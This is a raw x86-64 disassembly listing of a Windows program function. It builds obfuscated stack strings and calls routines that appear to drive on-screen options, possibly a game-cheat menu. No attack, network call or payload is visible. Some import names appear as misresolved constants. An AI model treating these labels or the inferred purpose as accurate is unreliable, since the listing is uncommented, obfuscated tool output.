mov byte [rbp + 0x10a4], 1
lea rcx, [rbp + 0x1098]
call fcn.140074600
mov rbx, rax
mov dword [rbp + 0x840], 0x54575c75
mov dword [rbp + 0x844], 0x100444e
lea rcx, [rbp + 0x840]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movzx eax, byte [0x1401a7a4e]
test al, al
jne 0x14006e50a
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
movzx edi, al
mov dword [rbp + 0x10a8], 0x4f5b4d6b
mov dword [rbp + 0x10ac], 0x4d7d5e55
mov dword [rbp + 0x10b0], 0x31322f
mov byte [rbp + 0x10b4], 1
lea rcx, [rbp + 0x10a8]
call fcn.140074600
mov rbx, rax
mov dword [rbp + 0x848], 0x54575c75
mov dword [rbp + 0x84c], 0x100444e
lea rcx, [rbp + 0x848]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0xd38], 0x52575c6b
mov dword [rbp + 0xd3c], 0x595f6e1c
mov word [rbp + 0xd40], Ordinal_41
mov byte [rbp + 0xd42], 1
lea rcx, [rbp + 0xd38]
call fcn.140073ca0
mov rcx, rax
call fcn.140063e30
mov dword [rbp + 0xd48], 0x5756586f
mov dword [rbp + 0xd4c], 0x5051511c
mov word [rbp + 0xd50], gethostname
mov byte [rbp + 0xd52], 1
lea rcx, [rbp + 0xd48]
call fcn.140073ca0
mov rcx, rax
lea rdx, [0x1401a7a4f]
call fcn.14004ad70
test al, al
je 0x14006e69b
movzx eax, byte [0x1401a7a4f]
test al, al
je 0x14006e624
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
mov edi, eax
mov dword [rbp + 0xa98], 0x5756586f
mov dword [rbp + 0xa9c], 0x4b515270
mov word [rbp + 0xaa0], 0x100
lea rcx, [rbp + 0xa98]
call fcn.140073c70
mov rbx, rax
mov dword [rbp + 0x850], 0x54575c75
mov dword [rbp + 0x854], 0x100444e
lea rcx, [rbp + 0x850]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movzx eax, byte [0x1401a7a4f]
test al, al
jne 0x14006e69b
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
movzx edi, al
mov dword [rbp + 0xaa8], 0x5756586f
mov dword [rbp + 0xaac], 0x4b515270
mov word [rbp + 0xab0], 0x100
lea rcx, [rbp + 0xaa8]
call fcn.140073c70
mov rbx, rax
mov dword [rbp + 0x858], 0x54575c75
mov dword [rbp + 0x85c], 0x100444e
lea rcx, [rbp + 0x858]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x400], 0x5049506a
mov word [rbp + 0x404], 0x100
lea rcx, [rbp + 0x400]
call fcn.140073bb0
mov rcx, rax
call fcn.140063e30
movaps xmm1, xmm6
movaps xmm0, xmm7
call fcn.140027e20
mov dword [rbp + 0xfe8], 0x5756586f
mov dword [rbp + 0xfec], 0x50566e1c
mov dword [rbp + 0xff0], 0x100352f
lea rcx, [rbp + 0xfe8]
call fcn.1400745a0
mov rcx, rax
lea rdx, [0x1401a7a50]
call fcn.14004ad70
test al, al
je 0x14006e82e
movzx eax, byte [0x1401a7a50]
test al, al
je 0x14006e7b0
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
mov edi, eax
mov dword [rbp + 0xd58], 0x5756586f
mov dword [rbp + 0xd5c], 0x5051556f
mov word [rbp + 0xd60], gethostname
mov byte [rbp + 0xd62], 1
lea rcx, [rbp + 0xd58]
call fcn.140073ca0
mov rbx, rax
mov dword [rbp + 0x860], 0x54575c75
mov dword [rbp + 0x864], 0x100444e
lea rcx, [rbp + 0x860]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movzx eax, byte [0x1401a7a50]
test al, al
jne 0x14006e82e
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
movzx edi, al
mov dword [rbp + 0xd68], 0x5756586f
mov dword [rbp + 0xd6c], 0x5051556f
mov word [rbp + 0xd70], gethostname
mov byte [rbp + 0xd72], 1
lea rcx, [rbp + 0xd68]
call fcn.140073ca0
mov rbx, rax
mov dword [rbp + 0x868], 0x54575c75
mov dword [rbp + 0x86c], 0x100444e
lea rcx, [rbp + 0x868]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x408], 0x5049506a
mov word [rbp + 0x40c], 0x100
lea rcx, [rbp + 0x408]
call fcn.140073bb0
mov rcx, rax
call fcn.140063e30
mov dword [rbp + 0xab8], 0x6c1a5676
mov dword [rbp + 0xabc], 0x4d5b495d
mov word [rbp + 0xac0], 0x100
lea rcx, [rbp + 0xab8]
call fcn.140073c70
mov rcx, rax
lea rdx, [0x1401a7a52]
call fcn.14004ad70
test al, al
je 0x14006e99f
movzx eax, byte [0x1401a7a52]
test al, al
je 0x14006e92a
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
mov edi, eax
mov dword [rbp + 0x988], 0x5a6d5676
mov dword [rbp + 0x98c], 0x4c5848
mov byte [rbp + 0x990], 1
lea rcx, [rbp + 0x988]
call fcn.140073c40
mov rbx, rax
mov dword [rbp + 0x870], 0x54575c75
mov dword [rbp + 0x874], 0x100444e
lea rcx, [rbp + 0x870]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movzx eax, byte [0x1401a7a52]
test al, al
jne 0x14006e99f
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
movzx edi, al
mov dword [rbp + 0x998], 0x5a6d5676
mov dword [rbp + 0x99c], 0x4c5848
mov byte [rbp + 0x9a0], 1
lea rcx, [rbp + 0x998]
call fcn.140073c40
mov rbx, rax
mov dword [rbp + 0x878], 0x54575c75
mov dword [rbp + 0x87c], 0x100444e
lea rcx, [rbp + 0x878]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0xd78], 0x52575c6b
mov dword [rbp + 0xd7c], 0x595f6e1c
mov word [rbp + 0xd80], Ordinal_41
mov byte [rbp + 0xd82], 1
lea rcx, [rbp + 0xd78]
call fcn.140073ca0
mov rcx, rax
call fcn.140063e30
movaps xmm1, xmm6
movaps xmm0, xmm7
call fcn.140027e20
mov dword [rbp + 0x9a8], 0x6f1a5676
mov dword [rbp + 0x9ac], 0x5b584e
mov byte [rbp + 0x9b0], 1
lea rcx, [rbp + 0x9a8]
call fcn.140073c40
mov rcx, rax
lea rdx, [0x1401a7a51]
call fcn.14004ad70
test al, al
je 0x14006eb1c
movzx eax, byte [0x1401a7a51]
test al, al
je 0x14006eaae
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
mov edi, eax
mov dword [rbp + 0x880], 0x496e5676
mov dword [rbp + 0x884], 0x1005859
lea rcx, [rbp + 0x880]
call fcn.140073c10
mov rbx, rax
mov dword [rbp + 0x888], 0x54575c75
mov dword [rbp + 0x88c], 0x100444e
lea rcx, [rbp + 0x888]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movzx eax, byte [0x1401a7a51]
test al, al
jne 0x14006eb1c
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
movzx edi, al
mov dword [rbp + 0x7c0], 0x496e5676
mov dword [rbp + 0x7c4], 0x1005859
lea rcx, [rbp + 0x7c0]
call fcn.140073c10
mov rbx, rax
mov dword [rbp + 0x810], 0x54575c75
mov dword [rbp + 0x814], 0x100444e
lea rcx, [rbp + 0x810]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0xd88], 0x52575c6b
mov dword [rbp + 0xd8c], 0x595f6e1c
mov word [rbp + 0xd90], Ordinal_41
mov byte [rbp + 0xd92], 1
lea rcx, [rbp + 0xd88]
call fcn.140073ca0
mov rcx, rax
call fcn.140063e30
movdqa xmm0, xmmword [str.kQUL]
movdqu xmmword [rbp + 0x1808], xmm0
mov byte [rbp + 0x1818], 1
lea rcx, [rbp + 0x1808]
call fcn.140073cd0
mov rcx, rax
lea rdx, [0x1401a7a53]
call fcn.14004ad70
test al, al
je 0x14006ecc6
movzx eax, byte [0x1401a7a53]
test al, al
je 0x14006ec3e
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
mov edi, eax
mov dword [rbp + 0x11a8], 0x4c55516b
mov dword [rbp + 0x11ac], 0x7b4a5474
mov dword [rbp + 0x11b0], 0x24232c21
mov word [rbp + 0x11b4], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x11b6], 1
lea rcx, [rbp + 0x11a8]
call fcn.140074660
mov rbx, rax
mov dword [rbp + 0x818], 0x54575c75
mov dword [rbp + 0x81c], 0x100444e
lea rcx, [rbp + 0x818]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movzx eax, byte [0x1401a7a53]
test al, al
jne 0x14006ecc6
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
movzx edi, al
mov dword [rbp + 0x1188], 0x4c55516b
mov dword [rbp + 0x118c], 0x7b4a5474
mov dword [rbp + 0x1190], 0x24232c21
mov word [rbp + 0x1194], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x1196], 1
lea rcx, [rbp + 0x1188]
call fcn.140074660
mov rbx, rax
mov dword [rbp + 0x820], 0x54575c75
mov dword [rbp + 0x824], 0x100444e
lea rcx, [rbp + 0x820]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0xd98], 0x52575c6b
mov dword [rbp + 0xd9c], 0x595f6e1c
mov word [rbp + 0xda0], Ordinal_41
mov byte [rbp + 0xda2], 1
lea rcx, [rbp + 0xd98]
call fcn.140073ca0
mov rcx, rax
call fcn.140063e30
movaps xmm1, xmm6
movaps xmm0, xmm7
call fcn.140027e20
mov dword [rbp + 0x1138], 0x731a5676
mov dword [rbp + 0x113c], 0x6c5a5c59
mov dword [rbp + 0x1140], 0x372d2e28
mov word [rbp + 0x1144], 0x100
lea rcx, [rbp + 0x1138]
call fcn.140074630
mov rcx, rax
lea rdx, [0x1401a7a54]
call fcn.14004ad70
test al, al
je 0x14006ee4d
movzx eax, byte [0x1401a7a54]
test al, al
je 0x14006ede0
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
mov edi, eax
mov dword [rbp + 0x410], 0x68725676
mov word [rbp + 0x414], 0x100
lea rcx, [rbp + 0x410]
call fcn.140073bb0
mov rbx, rax
mov dword [rbp + 0x550], 0x54575c75
mov dword [rbp + 0x554], 0x100444e
lea rcx, [rbp + 0x550]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movzx eax, byte [0x1401a7a54]
test al, al
jne 0x14006ee4d
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
movzx edi, al
mov dword [rbp + 0x418], 0x68725676
mov word [rbp + 0x41c], 0x100
lea rcx, [rbp + 0x418]
call fcn.140073bb0
mov rbx, rax
mov dword [rbp + 0x558], 0x54575c75
mov dword [rbp + 0x55c], 0x100444e
lea rcx, [rbp + 0x558]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x420], 0x5e5c586b
mov word [rbp + 0x424], 0x100
lea rcx, [rbp + 0x420]
call fcn.140073bb0
mov rcx, rax
call fcn.140063e30
mov dword [rbp + 0x1128], 0x525d5875
mov dword [rbp + 0x112c], 0x4a7c1d5f
mov dword [rbp + 0x1130], 0x37272d2c
mov word [rbp + 0x1134], 0x100
lea rcx, [rbp + 0x1128]
call fcn.140074630
mov rcx, rax
lea rdx, [0x1401a7a56]
call fcn.14004ad70
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x428], 0x5049506a
mov word [rbp + 0x42c], 0x100
lea rcx, [rbp + 0x428]
call fcn.140073bb0
mov rcx, rax
call fcn.140063e30
movaps xmm1, xmm6
movaps xmm0, xmm7
call fcn.140027e20
mov dword [rbp + 0x560], 0x79575079
mov dword [rbp + 0x564], 0x1006973
lea rcx, [rbp + 0x560]
call fcn.140073c10
mov rcx, rax
lea rdx, [0x1401a7a57]
call fcn.14004ad70
test al, al
je 0x14006f026
movzx eax, byte [0x1401a7a57]
test al, al
je 0x14006efb8
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
mov edi, eax
mov dword [rbp + 0x568], 0x79575079
mov dword [rbp + 0x56c], 0x1006973
lea rcx, [rbp + 0x568]
call fcn.140073c10
mov rbx, rax
mov dword [rbp + 0x570], 0x54575c75
mov dword [rbp + 0x574], 0x100444e
lea rcx, [rbp + 0x570]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movzx eax, byte [0x1401a7a57]
test al, al
jne 0x14006f026
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
movzx edi, al
mov dword [rbp + 0x578], 0x79575079
mov dword [rbp + 0x57c], 0x1006973
lea rcx, [rbp + 0x578]
call fcn.140073c10
mov rbx, rax
mov dword [rbp + 0x580], 0x54575c75
mov dword [rbp + 0x584], 0x100444e
lea rcx, [rbp + 0x580]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x430], 0x5e5c586b
mov word [rbp + 0x434], 0x100
lea rcx, [rbp + 0x430]
call fcn.140073bb0
mov rcx, rax
call fcn.140063e30
mov dword [rbp + 0xda8], 0x1b48587b
mov dword [rbp + 0xdac], 0x5a5b4d6f
mov word [rbp + 0xdb0], Ordinal_41
mov byte [rbp + 0xdb2], 1
lea rcx, [rbp + 0xda8]
call fcn.140073ca0
mov rcx, rax
lea rdx, [0x1401a7a58]
call fcn.14004ad70
test al, al
je 0x14006f1a6
movzx eax, byte [0x1401a7a58]
test al, al
je 0x14006f12f
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
mov edi, eax
mov dword [rbp + 0xac8], 0x6848587b
mov dword [rbp + 0xacc], 0x5b5b584c
mov word [rbp + 0xad0], 0x100
lea rcx, [rbp + 0xac8]
call fcn.140073c70
mov rbx, rax
mov dword [rbp + 0x588], 0x54575c75
mov dword [rbp + 0x58c], 0x100444e
lea rcx, [rbp + 0x588]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movzx eax, byte [0x1401a7a58]
test al, al
jne 0x14006f1a6
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
movzx edi, al
mov dword [rbp + 0xad8], 0x6848587b
mov dword [rbp + 0xadc], 0x5b5b584c
mov word [rbp + 0xae0], 0x100
lea rcx, [rbp + 0xad8]
call fcn.140073c70
mov rbx, rax
mov dword [rbp + 0x590], 0x54575c75
mov dword [rbp + 0x594], 0x100444e
lea rcx, [rbp + 0x590]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x438], 0x5049506a
mov word [rbp + 0x43c], 0x100
lea rcx, [rbp + 0x438]
call fcn.140073bb0
mov rcx, rax
call fcn.140063e30
movaps xmm1, xmm6
movaps xmm0, xmm7
call fcn.140027e20
mov dword [rbp + 0x10b8], 0x4f537160
mov dword [rbp + 0x10bc], 0x5958781c
mov dword [rbp + 0x10c0], 0x362225
mov byte [rbp + 0x10c4], 1
lea rcx, [rbp + 0x10b8]
call fcn.140074600
mov rcx, rax
lea rdx, [0x1401a7a59]
call fcn.14004ad70
test al, al
je 0x14006f334
movzx eax, byte [0x1401a7a59]
test al, al
je 0x14006f2bc
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
mov edi, eax
mov dword [rbp + 0xff8], 0x4f537160
mov dword [rbp + 0xffc], 0x5a585b79
mov dword [rbp + 0x1000], 0x1003523
lea rcx, [rbp + 0xff8]
call fcn.1400745a0
mov rbx, rax
mov dword [rbp + 0x598], 0x54575c75
mov dword [rbp + 0x59c], 0x100444e
lea rcx, [rbp + 0x598]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movzx eax, byte [0x1401a7a59]
test al, al
jne 0x14006f334
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
movzx edi, al
mov dword [rbp + 0x1008], 0x4f537160
mov dword [rbp + 0x100c], 0x5a585b79
mov dword [rbp + 0x1010], 0x1003523
lea rcx, [rbp + 0x1008]
call fcn.1400745a0
mov rbx, rax
mov dword [rbp + 0x5a0], 0x54575c75
mov dword [rbp + 0x5a4], 0x100444e
lea rcx, [rbp + 0x5a0]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x440], 0x5e5c586b
mov word [rbp + 0x444], 0x100
lea rcx, [rbp + 0x440]
call fcn.140073bb0
mov rcx, rax
call fcn.140063e30
cmp byte [0x1401a7a6c], 0
je 0x14006f903
mov dword [rbp + 0x9b8], 0x761a6a70
mov dword [rbp + 0x9bc], 0x5b5953
mov byte [rbp + 0x9c0], 1
lea rcx, [rbp + 0x9b8]
call fcn.140073c40
mov rcx, rax
lea rdx, [0x1401a7a5a]
call fcn.14004ad70
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x448], 0x5049506a
mov word [rbp + 0x44c], 0x100
lea rcx, [rbp + 0x448]
call fcn.140073bb0
mov rcx, rax
call fcn.140063e30
movaps xmm1, xmm6
movaps xmm0, xmm7
call fcn.140027e20
mov dword [rbp + 0xdb8], 0x5848567e
mov dword [rbp + 0xdbc], 0x6f6a1d59
mov word [rbp + 0xdc0], reloc.WS2_32.dll_recv
mov byte [rbp + 0xdc2], 1
lea rcx, [rbp + 0xdb8]
call fcn.140073ca0
mov rcx, rax
lea rdx, [0x1401a7a5d]
call fcn.14004ad70
test al, al
je 0x14006f534
movzx eax, byte [0x1401a7a5d]
test al, al
je 0x14006f4bd
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
mov edi, eax
mov dword [rbp + 0xae8], 0x5848567e
mov dword [rbp + 0xaec], 0x6f6e6959
mov word [rbp + 0xaf0], 0x100
lea rcx, [rbp + 0xae8]
call fcn.140073c70
mov rbx, rax
mov dword [rbp + 0x5a8], 0x54575c75
mov dword [rbp + 0x5ac], 0x100444e
lea rcx, [rbp + 0x5a8]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movzx eax, byte [0x1401a7a5d]
test al, al
jne 0x14006f534
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
movzx edi, al
mov dword [rbp + 0xaf8], 0x5848567e
mov dword [rbp + 0xafc], 0x6f6e6959
mov word [rbp + 0xb00], 0x100
lea rcx, [rbp + 0xaf8]
call fcn.140073c70
mov rbx, rax
mov dword [rbp + 0x5b0], 0x54575c75
mov dword [rbp + 0x5b4], 0x100444e
lea rcx, [rbp + 0x5b0]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x450], 0x5e5c586b
mov word [rbp + 0x454], 0x100
lea rcx, [rbp + 0x450]
call fcn.140073bb0
mov rcx, rax
call fcn.140063e30
cmp byte [0x1401a7a5a], 0
je 0x14006f808
movss xmm0, dword [0x140115d64]
call fcn.140024720
movdqa xmm0, xmmword [0x140116c70]
movdqu xmmword [rbp + 0x1520], xmm0
mov dword [rbp + 0x1530], 0x1001a00
lea rcx, [rbp + 0x1520]
call fcn.140073d60
mov rbx, rax
mov dword [rbp + 0x10c8], 0x5e691a1b
mov dword [rbp + 0x10cc], 0x4b5d5850
mov dword [rbp + 0x10d0], 0x110960
mov byte [rbp + 0x10d4], 1
lea rcx, [rbp + 0x10c8]
call fcn.140074600
mov r9d, 0xffffffff
mov r8, rbx
lea rdx, [0x1401a7120]
mov rcx, rax
call fcn.14004b7d0
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
lea rcx, str.Select_HS
call fcn.140054480
mov eax, dword [0x1401a7120]
test eax, eax
jne 0x14006f71a
mov byte [0x1401a7a5b], 1
mov byte [0x1401a7a5c], al
lea rdi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rdi, qword [rbp + 0x1c20]
mov dword [rbp + 0xdc8], 0x5848567e
mov dword [rbp + 0xdcc], 0x5e5b7559
mov word [rbp + 0xdd0], Ordinal_41
mov byte [rbp + 0xdd2], 1
lea rcx, [rbp + 0xdc8]
call fcn.140073ca0
mov rbx, rax
mov dword [rbp + 0x5b8], 0x54575c75
mov dword [rbp + 0x5bc], 0x100444e
lea rcx, [rbp + 0x5b8]
call fcn.140073c10
mov r9, rdi
mov r8d, 1
mov rdx, rbx
mov rcx, rax
call fcn.140072750
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
movzx edi, byte [0x1401a7a5c]
mov dword [rbp + 0x5c0], 0x54485c62
mov dword [rbp + 0x5c4], 0x1006e74
lea rcx, [rbp + 0x5c0]
call fcn.140073c10
mov rbx, rax
mov dword [rbp + 0x5c8], 0x54575c75
mov dword [rbp + 0x5cc], 0x100444e
lea rcx, [rbp + 0x5c8]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
mov eax, dword [0x1401a7120]
cmp eax, 1
jne 0x14006f903
mov byte [0x1401a7a5b], 0
mov byte [0x1401a7a5c], al
lea rdi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rdi, qword [rbp + 0x1c20]
mov dword [rbp + 0xdd8], 0x5848567e
mov dword [rbp + 0xddc], 0x5e5b7559
mov word [rbp + 0xde0], Ordinal_41
mov byte [rbp + 0xde2], al
lea rcx, [rbp + 0xdd8]
call fcn.140073ca0
mov rbx, rax
mov dword [rbp + 0x5d0], 0x54575c75
mov dword [rbp + 0x5d4], 0x100444e
lea rcx, [rbp + 0x5d0]
call fcn.140073c10
mov r9, rdi
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call fcn.140072750
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
movzx edi, byte [0x1401a7a5c]
mov dword [rbp + 0x5d8], 0x54485c62
mov dword [rbp + 0x5dc], 0x1006e74
lea rcx, [rbp + 0x5d8]
call fcn.140073c10
mov dword [rbp + 0x5e0], 0x54575c75
mov dword [rbp + 0x5e4], 0x100444e
lea rcx, [rbp + 0x5e0]
jmp 0x14006f8ea
mov byte [0x1401a7a5b], 0
mov byte [0x1401a7a5c], 0
lea rdi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rdi, qword [rbp + 0x1c20]
mov dword [rbp + 0xea8], 0x5848567e
mov dword [rbp + 0xeac], 0x5e5b7559
mov word [rbp + 0xeb0], Ordinal_41
mov byte [rbp + 0xeb2], 1
lea rcx, [rbp + 0xea8]
call fcn.140073ca0
mov rbx, rax
mov dword [rbp + 0x5e8], 0x54575c75
mov dword [rbp + 0x5ec], 0x100444e
lea rcx, [rbp + 0x5e8]
call fcn.140073c10
mov r9, rdi
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call fcn.140072750
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
movzx edi, byte [0x1401a7a5c]
mov dword [rbp + 0x5f0], 0x54485c62
mov dword [rbp + 0x5f4], 0x1006e74
lea rcx, [rbp + 0x5f0]
call fcn.140073c10
mov dword [rbp + 0x5f8], 0x54575c75
mov dword [rbp + 0x5fc], 0x100444e
lea rcx, [rbp + 0x5f8]
mov rbx, rax
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
cmp byte [0x1401a7a56], 0
je 0x14006f9a0
movss xmm0, dword [0x140115d78]
call fcn.140024720
mov dword [rbp + 0x458], 0x5d0b171d
mov word [rbp + 0x45c], 0x100
lea rcx, [rbp + 0x458]
call fcn.140073bb0
mov rbx, rax
mov dword [rbp + 0x548], 0x525d5875
mov word [rbp + 0x54c], 0x5f
mov byte [rbp + 0x54e], 1
lea rcx, [rbp + 0x548]
call fcn.140073be0
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], rbx
movss xmm3, dword [0x1400ec0c4]
movaps xmm2, xmm13
lea rdx, [0x140170d88]
mov rcx, rax
call fcn.140050f70
test al, al
je 0x14006f9a0
movss xmm1, dword [0x140170d88]
mov ecx, 0x62fa9b8
call fcn.1400727c0
cmp byte [0x1401a7a6c], 0
je 0x140071872
movdqa xmm0, xmmword [0x140116520]
movdqu xmmword [rbp + 0x1538], xmm0
mov dword [rbp + 0x1548], 0x1003a2f
lea rcx, [rbp + 0x1538]
call fcn.140073d60
mov rcx, rax
xor edx, edx
call fcn.14004b760
test al, al
je 0x1400702fe
mov dword [rbp + 0xb08], 0x1b5e5675
mov dword [rbp + 0xb0c], 0x4b57486f
mov word [rbp + 0xb10], 0x100
lea rcx, [rbp + 0xb08]
call fcn.140073c70
mov rcx, rax
lea rdx, [0x1401a7a66]
call fcn.14004ad70
test al, al
je 0x14006fb24
movzx eax, byte [0x1401a7a66]
test al, al
je 0x14006faaf
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
mov edi, eax
mov dword [rbp + 0x9c8], 0x685e5675
mov dword [rbp + 0x9cc], 0x4a5449
mov byte [rbp + 0x9d0], 1
lea rcx, [rbp + 0x9c8]
call fcn.140073c40
mov rbx, rax
mov dword [rbp + 0x600], 0x54575c75
mov dword [rbp + 0x604], 0x100444e
lea rcx, [rbp + 0x600]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movzx eax, byte [0x1401a7a66]
test al, al
jne 0x14006fb24
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
movzx edi, al
mov dword [rbp + 0x9d8], 0x685e5675
mov dword [rbp + 0x9dc], 0x4a5449
mov byte [rbp + 0x9e0], 1
lea rcx, [rbp + 0x9d8]
call fcn.140073c40
mov rbx, rax
mov dword [rbp + 0x608], 0x54575c75
mov dword [rbp + 0x60c], 0x100444e
lea rcx, [rbp + 0x608]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x460], 0x5e5c586b
mov word [rbp + 0x464], 0x100
lea rcx, [rbp + 0x460]
call fcn.140073bb0
mov rcx, rax
call fcn.140063e30
movaps xmm1, xmm6
movaps xmm0, xmm10
call fcn.140027e20
mov dword [rbp + 0xb18], 0x1b5e5675
mov dword [rbp + 0xb1c], 0x53525477
mov word [rbp + 0xb20], 0x100
lea rcx, [rbp + 0xb18]
call fcn.140073c70
mov rcx, rax
lea rdx, [0x1401a7a67]
